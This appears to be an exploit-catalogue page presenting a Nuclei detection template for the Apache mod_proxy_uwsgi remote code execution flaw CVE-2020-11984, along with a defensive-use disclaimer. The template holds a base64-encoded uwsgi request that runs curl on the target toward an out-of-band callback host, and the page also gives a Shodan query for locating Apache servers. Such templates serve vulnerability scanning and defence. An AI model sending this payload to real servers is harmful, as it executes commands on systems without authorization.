Materialized exploit

CVE-2020-11984

CRITICAL

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

Nuclei critical Verified

Source

Apache HTTP Server - Remote Code Execution

By projectdiscovery

How to test this exploit

The Nuclei template IS the test: an executable detection rule. Install nuclei, then run it against a target you control.

nuclei -id CVE-2020-11984 -u https://your-target

Template yaml

id: CVE-2020-11984

info:
  name: Apache HTTP Server - Remote Code Execution
  author: wofeiwo@80sec.com,pszyszkowski,pdresearch,iamnoooob
  severity: critical
  description: |
    Apache HTTP Server 2.4.32 to 2.4.44 contains an info disclosure and possible remote code execution caused by a vulnerability in mod_proxy_uwsgi, letting remote attackers access sensitive information and potentially execute arbitrary code, exploit requires sending crafted requests.
  impact: |
    Attackers can exploit the mod_proxy_uwsgi vulnerability to access sensitive information or execute arbitrary code on the Apache HTTP Server, potentially compromising the entire web server and its hosted applications.
  remediation: |
    Update Apache HTTP Server to version 2.4.45 or later.
  reference:
    - https://github.com/RubenBar/MLW-upcrans/tree/main/1.Exploit
    - https://nvd.nist.gov/vuln/detail/cve-2020-11984
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11984
    cwe-id: CWE-120
    epss-score: 0.90039
    epss-percentile: 0.99785
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: http_server
    shodan-query: cpe:"cpe:2.3:a:apache:http_server"
  tags: cve,cve2020,apache,httpd,rce,vkev,vuln

variables:
  oast: ".{{interactsh-url}}"
  payload: "{{padding(oast,'a',54,'prefix')}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{replace(base64_decode('AHIAAAoAVVdTR0lfRklMRUsAZXhlYzovL2N1cmwgYWFhYWFhYWEuZmw0NGhoY240NHEydWtsdjI5YnB6dTR1amxwY2QzM3JzLm9hc3RpZnkuY29tOyBlY2hvICIiCwBTQ1JJUFRfTkFNRQoAL3BlbmV0cmF0ZQ=='),'aaaaaaaa.fl44hhcn44q2uklv29bpzu4ujlpcd33rs.oastify.com',payload)}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "User-Agent: curl")'
        condition: and
# digest: 4b0a00483046022100c306f4ec05f5e614b5adc003a98fdb9779bb99edb511d37f2b1f3a0ae7db0d57022100aa901e5bd3b9d991f047b998ccf9230fde89055c394ba9111944e2a1b08f3083:922c64590222798bb761d5b6d8e72950